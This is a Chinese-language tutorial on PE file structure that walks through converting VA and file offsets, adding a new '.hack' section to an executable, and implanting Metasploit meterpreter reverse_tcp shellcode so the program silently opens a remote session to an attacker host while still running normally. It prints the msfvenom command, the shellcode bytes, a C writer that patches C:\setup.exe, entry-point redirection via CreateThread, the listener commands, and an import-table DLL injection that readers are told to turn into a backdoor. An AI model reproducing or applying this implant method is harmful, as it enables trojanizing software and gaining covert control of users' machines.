1.14 手工插入ShellCode反弹后门

PE格式是 Windows下最常用的可执行文件格式,理解PE文件格式不仅可以了解操作系统的加载流程,还可以更好的理解操作系统对进程和内存相关的管理知识,而有些技术必须建立在了解PE文件格式的基础上,如文件加密与解密,病毒分析,外挂技术等,本次的目标是手工修改或增加节区,并给特定可执行程序插入一段ShellCode代码,实现程序运行自动反弹一个Shell会话。

1.14.1 VA地址与FOA地址互转

首先我们先来演示一下内存VA地址与FOA地址互相转换的方式,通过使用WinHEX打开一个二进制文件,打开后我们只需要关注如下蓝色注释为映像建议装入基址,黄色注释为映像装入后的RVA偏移。

通过上方的截图结合PE文件结构图我们可得知0000158B为映像装入内存后的RVA偏移,紧随其后的00400000则是映像的建议装入基址,为什么是建议而不是绝对?别急后面慢来来解释。

通过上方的已知条件我们就可以计算出程序实际装入内存后的入口地址了,公式如下:

  • VA(实际装入地址) = ImageBase(基址) + RVA(偏移) => 00400000 + 0000158B = 0040158B

找到了程序的OEP以后,接着我们来判断一下这个0040158B属于那个节区,以.text节区为例,下图我们通过观察区段可知,第一处橙色位置00000B44 (节区尺寸),第二处紫色位置00001000 (节区RVA),第三处00000C00 (文件对齐尺寸),第四处00000400 (文件中的偏移),第五处60000020 (节区属性)

得到了上方text节的相关数据,我们就可以判断程序的OEP到底落在了那个节区中,这里以.text节为例子,计算公式如下:

  • 虚拟地址开始位置:节区基地址 + 节区RVA => 00400000 + 00001000 = 00401000
  • 虚拟地址结束位置:text节地址 + 节区尺寸 => 00401000 + 00000B44 = 00401B44

经过计算得知 .text 节所在区间(401000 - 401B44) 你的装入VA地址0040158B只要在区间里面就证明在本节区中,此处的VA地址是在401000 - 401B44区间内的,则说明它属于.text节。

经过上面的公式计算我们知道了程序的OEP位置是落在了.text节,此时你兴致勃勃的打开x64DBG想去验证一下公式是否计算正确不料,尼玛!这地址根本不是400000开头啊,这是什么鬼?

上图中出现的这种情况就是关于随机基址的问题,在新版的VS编译器上存在一个选项是否要启用随机基址(默认启用),至于这个随机基址的作用,猜测可能是为了防止缓冲区溢出之类的烂七八糟的东西。

为了方便我们调试,我们需要手动干掉它,其对应到PE文件中的结构为 IMAGE_NT_HEADERS -> IMAGE_OPTIONAL_HEADER -> DllCharacteristics 相对于PE头的偏移为90字节,只需要修改这个标志即可,修改方式 x64:6081 改 2081 相对于 x86:4081 改 0081 以X86程序为例,修改后如下图所示。

经过上面对标志位的修改,程序再次载入就能够停在0040158B的位置,也就是程序的OEP,接下来我们将通过公式计算出该OEP对应到文件中的位置。

  • .text(节首地址) = ImageBase + 节区RVA => 00400000 + 00001000 = 00401000
  • VA(虚拟地址) = ImageBase + RVA(偏移) => 00400000 + 0000158B = 0040158B
  • RVA(相对偏移) = VA - (.text节首地址) => 0040158B - 00401000 = 58B
  • FOA(文件偏移) = RVA + .text节对应到文件中的偏移 => 58B + 400 = 98B

经过公式的计算,我们找到了虚拟地址0040158B对应到文件中的位置是98B,通过WinHEX定位过去,即可看到OEP处的机器码指令了。

接着我们来计算一下.text节区的结束地址,通过文件的偏移加上文件对齐尺寸即可得到.text节的结束地址400+C00= 1000,那么我们主要就在文件偏移为(98B - 1000)在该区间中找空白的地方,此处我找到了在文件偏移为1000之前的位置有一段空白区域,如下图:

接着我么通过公式计算一下文件偏移为0xF43的位置,其对应到VA虚拟地址是多少,公式如下:

  • .text(节首地址) = ImageBase + 节区RVA => 00400000 + 00001000 = 00401000
  • VPK(实际大小) = (text节首地址 - ImageBase) - 实际偏移 => 401000-400000-400 = C00
  • VA(虚拟地址) = FOA(.text节) + ImageBase + VPK => F43+400000+C00 = 401B43

计算后直接X64DBG跳转过去,我们从00401B44的位置向下全部填充为90(nop),然后直接保存文件。

再次使用WinHEX查看文件偏移为0xF43的位置,会发现已经全部替换成了90指令,说明计算正确。

到此文件偏移与虚拟偏移的转换就结束了,其实在我们使用X64DBG修改可执行文件指令的时候,X64DBG默认为我们做了上面的这些转换工作,其实这也能够解释为什么不脱壳的软件无法直接修改,因为X64DBG根本无法计算出文件偏移与虚拟偏移之间的对应关系,所以就无法保存文件了。

1.14.2 新建节区并插入后门

经过了上面的学习相信你已经能够独立完成FOAVA之间的互转了,接下来我们将实现在程序中插入新节区,并向新节区内插入一段能够反向连接的ShellCode代码,并保证插入后门的程序依旧能够正常运行不被干扰,为了能够更好的复习PE相关知识,此处的偏移全部手动计算不借助任何工具,请确保你已经掌握了FOA与VA之间的转换关系然后再继续学习。

首先我们的目标是新建一个新节区,我们需要根据.text节的内容进行仿写,先来看区段的书写规则:

如上图所示,一般情况下区段的总长度不可大于40个字节,其中2E标志PE区段的开始位置,后面紧随其后的7个字节的区域为区段的名称,由于只有7个字节的存储空间故最多只能使用6个字符来命名,而第一处蓝色部分则为该节在内存中展开的虚拟大小,第二处蓝色部分为在文件中的实际大小,第一处绿色部分为该节在内存中的虚拟偏移,第二处绿色部分为文件偏移,而最后的黄色部分就是该节的节区属性。

既然知道了节区中每个成员之间的关系,那么我们就可以开始仿写了,仿写需要在程序中最后一个节的后面继续写,而该程序中的最后一个节是.reloc节,在reloc节的后面会有一大片空白区域,如下图:

如下图:我们仿写一个.hack节区,该节区虚拟大小为1000字节(蓝色一),对应的实际大小也是1000字节(蓝色二),节区属性为200000E0可读可写可执行,绿色部分是需要我们计算才能得到的,继续向下看。

接着我们通过公式计算一下.hack的虚拟偏移与实际偏移应该设置为多少,公式如下:

  • .hack 虚拟偏移:虚拟偏移(.reloc) + 虚拟大小(.hack) => 00006000 + 00001000 = 00007000
  • .hack 实际偏移:实际偏移(.reloc) + 实际大小(.reloc) => 00003800 + 00000200 = 00003A00

经过公式推导我们可得知 .hack节,虚拟偏移应设置为00007000 实际偏移设置为00003A00节区长度为1000字节,将其填充到绿色位置即可,如下图:

最后在文件末尾,插入1000个0字节填充,以作为我们填充ShellCode的具体位置,1000个0字节的话WinHEX需要填充4096

到此其实还没结束,我们还落下了一个关键的地方,那就是在PE文件的开头,有一个控制节区数目的变量,此处因为我们增加了一个所以需要将其从5个改为6个,由于我们新增了0x1000的节区空间,那么相应的镜像大小也要加0x1000 如图黄色部分原始大小为00007000此处改为00008000即可。

打开X64DBG载入修改好的程序,会发现我们的.hack节成功被系统识别了,到此节的插入已经实现了。

接下来的工作就是向我们插入的节中植入一段可以实现反弹Shell会话的代码片段,你可以自己编写也可使用工具,此处为了简单起见我就使用黑客利器Metasploit生成反向ShellCode代码,执行命令:

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' LHOST=192.168.1.30 LPORT=9999 -f c

关于命令介绍:-a指定平台架构,–platform指定攻击系统,-p指定一个反向连接shell会话,-b的话是去除坏字节,并指定攻击主机的IP与端口信息,执行命令后会生成一段有效攻击载荷。

为了保证生成的ShellCode可用性,你可以通过将生成的ShellCode加入到测试程序中测试调用效果,此处我就不测试了,直接贴出测试代码吧,你只需要将buf[]数组填充为上方的Shell代码即可。

#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")

unsigned char buf[] = "";

typedef void(__stdcall *CODE) ();
int main()
{
//((void(*)(void))&buf)();
PVOID pFunction = NULL;
pFunction = VirtualAlloc(0, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pFunction, buf, sizeof(buf));
CODE StartShell = (CODE)pFunction;
StartShell();
}

此时我们需要将上方生成的ShellCode注入到我们新加入的区段中,区段实际偏移是0x3A00,此处的二进制代码较多不可能手动一个个填写,机智的我写了一个小程序,即可完成自动填充,附上代码吧。

#include <Windows.h>
#include <stdio.h>

unsigned char buf[] =
"\xdb\xda\xd9\x74\x24\xf4\x5d\x29\xc9\xb1\x56\xba\xd5\xe5\x72"
"\xb7\x31\x55\x18\x83\xed\xfc\x03\x55\xc1\x07\x87\x4b\x01\x45"
"\x68\xb4\xd1\x2a\xe0\x51\xe0\x6a\x96\x12\x52\x5b\xdc\x77\x5e"
"\x10\xb0\x63\xd5\x54\x1d\x83\x5e\xd2\x7b\xaa\x5f\x4f\xbf\xad"
"\xe3\x92\xec\x0d\xda\x5c\xe1\x4c\x1b\x80\x08\x1c\xf4\xce\xbf"
"\xb1\x71\x9a\x03\x39\xc9\x0a\x04\xde\x99\x2d\x25\x71\x92\x77"
"\xe5\x73\x77\x0c\xac\x6b\x94\x29\x66\x07\x6e\xc5\x79\xc1\xbf"
"\x26\xd5\x2c\x70\xd5\x27\x68\xb6\x06\x52\x80\xc5\xbb\x65\x57"
"\xb4\x67\xe3\x4c\x1e\xe3\x53\xa9\x9f\x20\x05\x3a\x93\x8d\x41"
"\x64\xb7\x10\x85\x1e\xc3\x99\x28\xf1\x42\xd9\x0e\xd5\x0f\xb9"
"\x2f\x4c\xf5\x6c\x4f\x8e\x56\xd0\xf5\xc4\x7a\x05\x84\x86\x12"
"\xea\xa5\x38\xe2\x64\xbd\x4b\xd0\x2b\x15\xc4\x58\xa3\xb3\x13"
"\x7c\x95\xa3\xb2\x7e\x89\xb4\x96";

int main()
{
HANDLE hFile = NULL;
DWORD dwNum = 0;
LONG FileOffset;
FileOffset = 0x3A00; // 文件中的偏移

hFile = CreateFile(L"C:\\setup.exe", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
SetFilePointer(hFile, FileOffset, NULL, FILE_BEGIN);
WriteFile(hFile, buf, sizeof(buf), &dwNum, NULL);
CloseHandle(hFile);
return 0;
}

通过VS编译器编译代码并运行,窗口一闪而过就已经完成填充了,直接打开WinHEX工具定位到0x3A00发现已经全部填充好了。


填充完代码以后,接着就是执行这段代码了,我们的最终目标是程序正常运行并且成功反弹Shell会话,但问题是这段代码是交互式的如果直接植入到程序中那么程序将会假死,也就暴漏了我们的行踪,这里我们就只能另辟蹊径了,经过我的思考我决定让这段代码成为进程中的一个子线程,这样就不会相互干扰了。

于是乎我打开了微软的网站,查询了一下相关API函数,最终找到了一个CreateThread()函数可以在进程中创建线程,此处贴出微软对该函数的定义以及对函数参数的解释。

HANDLE WINAPI  CreateThread(
_In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes,
_In_ SIZE_T dwStackSize,
_In_ LPTHREAD_START_ROUTINE lpStartAddress,
_In_opt_ __drv_aliasesMem LPVOID lpParameter,
_In_ DWORD dwCreationFlags,
_Out_opt_ LPDWORD lpThreadId
);

这个API函数的参数解析如下所示;

  • lpThreadAttributes 线程内核对象的安全属性,默认为NULL
  • dwStackSize 线程栈空间大小,传入0表示使用默认大小1MB
  • lpStartAddress 新线程所执行的线程函数地址,指向ShellCode首地址
  • lpParameter 此处是传递给线程函数的参数,我们这里直接填NULL
  • dwCreationFlags 为0表示线程创建之后立即就可以进行调度
  • lpThreadId 返回线程的ID号,传入NULL表示不需要返回该线程ID号

由于我们需要写入机器码,所以必须将CreateThread函数的调用方式转换成汇编格式,我们打开X64DBG找到我们的区段位置,可以看到填充好的ShellCode代码,其开头位置为00407000,如下所示:

接着向下找,找到一处空旷的区域,然后填入CreateThread()创建线程函数的汇编格式,填写时需要注意调用约定和ShellCode的起始地址。

接着我们需要使用一条Jmp指令让其跳转到原始位置执行原始代码,这里的原始OEP位置是0040158B我们直接JMP跳转过去就好,修改完成后直接保存文件。

最后一步修改程序默认执行位置,我们将原始位置的0040158B改为00407178这里通过WinHEX修改的话直接改成7178就好,如下截图:

通过MSF控制台创建一个侦听端口,执行如下命令即可,此处的IP地址与生成的ShellCode地址应该相同。

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.1.30
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > exploit

至此当读者运用这个被植入了后门的可执行程序时,则会发现目标已经上线了,而源程序仍然可以被正常执行,至此我们的后门植入工作也就算完成了;

1.14.3 新建节并插入DLL

首先老样子,我们先来到PE节表位置处,并仿写一个.hack的节,该节大小为0x1000字节,在仿写前我们需要先来计算出.hack的虚拟偏移与实际偏移,先来查询一下当前节表结构,如下:

接着我们通过公式计算一下.hack的虚拟偏移与实际偏移应该设置为多少,注意内存对齐,如加上2000是因为要遵循内存对齐,公式如下:

  • .hack 虚拟偏移:虚拟偏移(.rsrc) + 虚拟大小(.hack) => 0x0001B000 + 0x00001000 + 2000 = 1E000
  • .hack 实际偏移:实际偏移(.rsrc) + 实际大小(.rsrc) => 0x00007800 + 0x00002600 = 9E00

经过公式推导我们可得知要仿写.hack节,虚拟偏移应设置为1E000实际偏移设置为9E00节区长度为0x1000字节,将其填充到绿色位置即可,此外还需要注意节属性必须为E00000E0可读可写属性,如下图:

使用WinHEX在文件末尾添加填充0字节数据,填充长度为4096,我们的文件偏移为0x9E00,并且跳转到0xF0处将红色的06改为07,并将底部的1e000 + 1000修正为1F000 此时我们的.hack节添加完成,其对应的虚拟偏移为0x0001E000实际偏移为0x00009E00长度都是0x1000字节。

接着使用工具找到导入表的位置,如下导入表位置0x00006DE0 长度是0x00000050

我们使用WinHex定位过去,将其拷贝一份,选中右键复制选快->十六进制复制即可

接着定位到0x9E00也就是.hack节的开头位置,将其复制到这里来,这里的留白位置就是我们需要添加进来的IID数组暂时为空。

先来把仿写的位置标注上序号,这里为大家具体解释一下原因,以及为什么这样来写。

首先红色位置代表的字段是: OriginalFirstThunk 其指向中间变量FOA = 9E80而中间变量则需要指向一个Image_Thunk_Data结构,这里我们使用FOA = 9E90来模仿,该结构前两个字节为hInt值默认为0,后面则是一个导入的函数字符串。
绿色位置代表的是需要导入的DLL文件名,此处没有中间值,可以直接指向字符串。
棕色部分代表的是FirstThunk 其同样需要指向Image_Thunk_Data结构 FOA = 9E90

我们来转换一下,具体的地址:

红色OriginalFirstThunk需要指向FOA=9E80也就是RVA=0x0001E080 ,然后9E80里面需要再次指向FOA=9E90也就是指向RVA=0x0001E090,9E90里面存储的是MsgBox 你的导入函数字符串。
绿色 DllName 则直接指向FOA=9EB0 也就是指向RVA=0x0001E0B0 里面是导入DLL名称,此处是 lyshark.dll
棕色 FirstThunk 则需要指向FOA=9ED0 也就是指向 RVA= 0x0001E0D0 而9ED0则需要指向FOA=9E90也就是指向RVA=0x0001E090

由于我们增加了导入表,增加了一个结构,所以要跳转到170处修正大小30+20=50,并将导入表地址修正为FOA = 0x9E00也就是RVA =0x0001E000

最后接触输入表绑定状态,也就是将1B0-1B8处的内容全部清0即可。

当一切准备就绪以后,我们只需要编写一个DLL动态链接库,然后将该程序放入同级目录下,当程序运行后即可实现弹窗,当然读者可根据该原理自行发挥,让其具备有反弹后门的功能;

#include <Windows.h>
#include <stdio.h>

extern "C"__declspec(dllexport) void MsgBox()
{
MessageBox(0, "hello lyshark", "inject", MB_OK);
}

DWORD WINAPI ThreadShow(LPVOID lpParameter)
{
char szPath[MAX_PATH] = { 0 };
char szBuf[1024] = { 0 };

GetModuleFileName(0, szPath, MAX_PATH);
sprintf(szBuf, "路径: %s ---> PID: %d ", szPath, GetCurrentProcessId());
MessageBox(0, szBuf, 0, 0);

return 0;
}

BOOL APIENTRY DllMain(HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
CreateThread(0, 0, ThreadShow, 0, 0, 0);
}

return TRUE;
}